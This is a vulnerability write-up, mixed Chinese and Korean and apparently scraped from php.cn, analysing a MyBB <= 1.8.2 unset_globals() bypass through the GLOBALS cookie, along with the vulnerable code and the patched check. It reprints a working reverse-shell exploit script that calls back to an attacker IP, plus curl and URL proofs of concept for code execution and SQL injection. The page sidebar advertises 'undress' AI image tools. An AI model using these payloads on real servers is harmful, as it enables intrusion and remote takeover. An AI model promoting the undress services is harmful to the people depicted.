목차
catalogue
1. 漏洞描述
Relevant Link:
Copyright (c) 2016 Little5ann All rights reserved
백엔드 개발 PHP 튜토리얼 MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Explo.

MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Explo.

Jun 20, 2016 pm 12:38 PM

catalogue

1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考
로그인 후 복사

1. 漏洞描述

MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.

https://cxsecurity.com/issue/WLB-2015120164https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.htmlhttps://www.exploit-db.com/exploits/35323/
로그인 후 복사

2. 漏洞触发条件

0x1: POC1

//php.ini配置1. request_order = "GP"2. register_globals = On//remote code execution by just using curl on the command line3. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/
로그인 후 복사

PHP自动化验证脚本

<?php// Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit// Date: 15/12/2015// Exploit Author: ssbostan// Vendor Homepage: http://www.mybb.com/// Software Link: http://resources.mybb.com/downloads/mybb_1802.zip// Version: <= 1.8.2// Tested on: MyBB 1.8.2$target="http://localhost/mybb1802/index.php";$yourip="ipaddress";$ch=curl_init();curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;");curl_setopt($ch, CURLOPT_URL, $target);curl_exec($ch);curl_close($ch);// nc -l 4444// php mybb-1802-core-exploit.php?>
로그인 후 복사

0x2: POC2

//php.ini1. disable_functions = ini_get2. register_globals = On//url3. index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1
로그인 후 복사

0x3: POC3

//php.ini配置1. request_order = "GP"2. register_globals = On//urlcurl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php//Works on disable_functions = ini_get and register\_globals = On:css.php?shutdown_queries[]=SQL_Inj
로그인 후 복사

3. 漏洞影响范围

MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15
로그인 후 복사

4. 漏洞代码分析

\mybb_1802\inc\class_core.php

..// If we've got register globals on, then kill them too/*When PHP's register_globals configuration set on, MyBB will call unset_globals() functionall global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.这是MyBB做的一种安全机制,在每个PHP脚本请求的开始进行"超全局变量自动注册反向处理",抵消可能出现的register_globals导致的安全问题*/if(@ini_get("register_globals") == 1){    $this->unset_globals($_POST);    $this->unset_globals($_GET);    $this->unset_globals($_FILES);    $this->unset_globals($_COOKIE);}../** * Unsets globals from a specific array. * * @param array The array to unset from. */function unset_globals($array){    if(!is_array($array))    {        return;    }    foreach(array_keys($array) as $key)    {        unset($GLOBALS[$key]);        unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4    }}
로그인 후 복사

这个逻辑看起来好像没问题,而且是出于安全方面的考虑进行了防御性处理,但是因为PHP内核的一些特性,导致unset_globals()函数的执行能够被绕过

1. 在正常情况下,通过GPC方式输入的变量,即使开启了register_globals,也会被自动进行unset $GLOBAL[$var]处理,这是MyBB自己实现了一套防御低版本PHP误开启register_globals = On的代码逻辑,这防御了本地变量覆盖的发生2. 但是存在一个特殊的变量GLOBALS,$GLOBALS超全局数组是PHP内核负责创建维护的,我们可以在程序中任意位置读写$GLOBALS['key'],PHP内核绑定了$GLOBALS数组和global symbol table之间的连接3. 如果黑客传入: foo.php?GLOBALS=1,则MyBB会执行unset($GLOBALS["GLOBALS"]);这会直接导致$GLOBALS和global symbol table之间的连接4. 而这直接导致的后果是$_GET、$_POST、$_COOKIE..中无法再获取到用户传入的参数key,因为本质上GPC的参数是从$GLOBALS中拿到的,所以unset操作也就无法正常进行
로그인 후 복사

需要注意的是,MyBB的防御框架里注意到了这个问题\mybb_1802\inc\class_core.php

..function __construct(){    // Set up MyBB    $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");    foreach($protected as $var)    {        if(isset($_REQUEST[$var]) || isset($_FILES[$var]))        {            die("Hacking attempt");        }    }    ..
로그인 후 복사

MyBB的本意是阻止请求参数中出现GET/POST/GLOBALS这种可能影响全局变量参数的值,但是问题在PHP中的$_REQUEST也是一个超全局变量,它的值受php.ini影响,在PHP5.3以后,request_order = "GP",也就是说,$_REQUEST只包括GET/POST中的参数,这直接导致了对COOKIES的敏感参数过滤失效,所以,黑客可以在COOKIES中放入变量覆盖攻击payload

GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;
로그인 후 복사

稍微总结一下,这个利用前提条件有2种场景

1. MyBB <= PHP 5.3: request_order = "GP"2. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On 
로그인 후 복사

理解了变量覆盖发生的前提,下一步看攻击Payload是如何构造并触发本地变量覆盖的\mybb_1802\inc\class_core.php

//class_core.php几乎是所有页面脚本都会调用到的文件,下面的析构函数会被频繁调用function __destruct(){    // Run shutdown function    if(function_exists("run_shutdown"))    {        run_shutdown();    }}
로그인 후 복사

run_shutdown();\mybb_1802\inc\functions.php

/** * Runs the shutdown items after the page has been sent to the browser. * */function run_shutdown(){    //the $shutdown_functions was initialized via add\_shutdown() function in init.php    //但是因为本地变量覆盖漏洞的存在,这里$shutdown_functions可以被劫持    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;    if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors))    {        return;    }    ..    // Run any shutdown functions if we have them    if(is_array($shutdown_functions))    {        foreach($shutdown_functions as $function)        {            call_user_func_array($function['function'], $function['arguments']);        }    }    ..
로그인 후 복사
http://0day.today/exploit/22913
로그인 후 복사

5. 防御方法

\inc\class_core.php

class MyBB {    ..    function __construct()    {        // Set up MyBB        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");        foreach($protected as $var)        {            /*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/            if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var]))            {                die("Hacking attempt");            }        }        ..
로그인 후 복사
http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/http://cn.313.ninja/exploit/22913
로그인 후 복사

6. 攻防思考

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

11 최고의 PHP URL 쇼트너 스크립트 (무료 및 프리미엄) 11 최고의 PHP URL 쇼트너 스크립트 (무료 및 프리미엄) Mar 03, 2025 am 10:49 AM

종종 키워드와 추적 매개 변수로 혼란스러워하는 긴 URL은 방문자를 방해 할 수 있습니다. URL 단축 스크립트는 솔루션을 제공하여 소셜 미디어 및 기타 플랫폼에 이상적인 간결한 링크를 만듭니다. 이 스크립트는 개별 웹 사이트 a에 유용합니다

Instagram API 소개 Instagram API 소개 Mar 02, 2025 am 09:32 AM

Instagram은 2012 년 Facebook에서 유명한 인수에 이어 타사 사용을 위해 두 개의 API 세트를 채택했습니다. Instagram Graph API 및 Instagram Basic Display API입니다. 개발자는

Laravel의 플래시 세션 데이터로 작업합니다 Laravel의 플래시 세션 데이터로 작업합니다 Mar 12, 2025 pm 05:08 PM

Laravel은 직관적 인 플래시 방법을 사용하여 임시 세션 데이터 처리를 단순화합니다. 응용 프로그램에 간단한 메시지, 경고 또는 알림을 표시하는 데 적합합니다. 데이터는 기본적으로 후속 요청에만 지속됩니다. $ 요청-

Laravel Back End : Part 2, React가있는 React 앱 구축 Laravel Back End : Part 2, React가있는 React 앱 구축 Mar 04, 2025 am 09:33 AM

이것은 Laravel 백엔드가있는 React Application을 구축하는 데있어 시리즈의 두 번째이자 마지막 부분입니다. 이 시리즈의 첫 번째 부분에서는 기본 제품 목록 응용 프로그램을 위해 Laravel을 사용하여 편안한 API를 만들었습니다. 이 튜토리얼에서는 Dev가 될 것입니다

Laravel 테스트에서 단순화 된 HTTP 응답 조롱 Laravel 테스트에서 단순화 된 HTTP 응답 조롱 Mar 12, 2025 pm 05:09 PM

Laravel은 간결한 HTTP 응답 시뮬레이션 구문을 제공하여 HTTP 상호 작용 테스트를 단순화합니다. 이 접근법은 테스트 시뮬레이션을보다 직관적으로 만들면서 코드 중복성을 크게 줄입니다. 기본 구현은 다양한 응답 유형 단축키를 제공합니다. Illuminate \ support \ Facades \ http를 사용하십시오. http :: 가짜 ([ 'google.com'=> ​​'Hello World', 'github.com'=> ​​[ 'foo'=> 'bar'], 'forge.laravel.com'=>

PHP의 컬 : REST API에서 PHP Curl Extension 사용 방법 PHP의 컬 : REST API에서 PHP Curl Extension 사용 방법 Mar 14, 2025 am 11:42 AM

PHP 클라이언트 URL (CURL) 확장자는 개발자를위한 강력한 도구이며 원격 서버 및 REST API와의 원활한 상호 작용을 가능하게합니다. PHP CURL은 존경받는 다중 프로모토콜 파일 전송 라이브러리 인 Libcurl을 활용하여 효율적인 execu를 용이하게합니다.

Codecanyon에서 12 개의 최고의 PHP 채팅 스크립트 Codecanyon에서 12 개의 최고의 PHP 채팅 스크립트 Mar 13, 2025 pm 12:08 PM

고객의 가장 긴급한 문제에 실시간 인스턴트 솔루션을 제공하고 싶습니까? 라이브 채팅을 통해 고객과 실시간 대화를 나누고 문제를 즉시 해결할 수 있습니다. 그것은 당신이 당신의 관습에 더 빠른 서비스를 제공 할 수 있도록합니다.

2025 PHP 상황 조사 발표 2025 PHP 상황 조사 발표 Mar 03, 2025 pm 04:20 PM

2025 PHP Landscape Survey는 현재 PHP 개발 동향을 조사합니다. 개발자와 비즈니스에 대한 통찰력을 제공하는 프레임 워크 사용, 배포 방법 및 과제를 탐색합니다. 이 조사는 현대 PHP Versio의 성장을 예상합니다

See all articles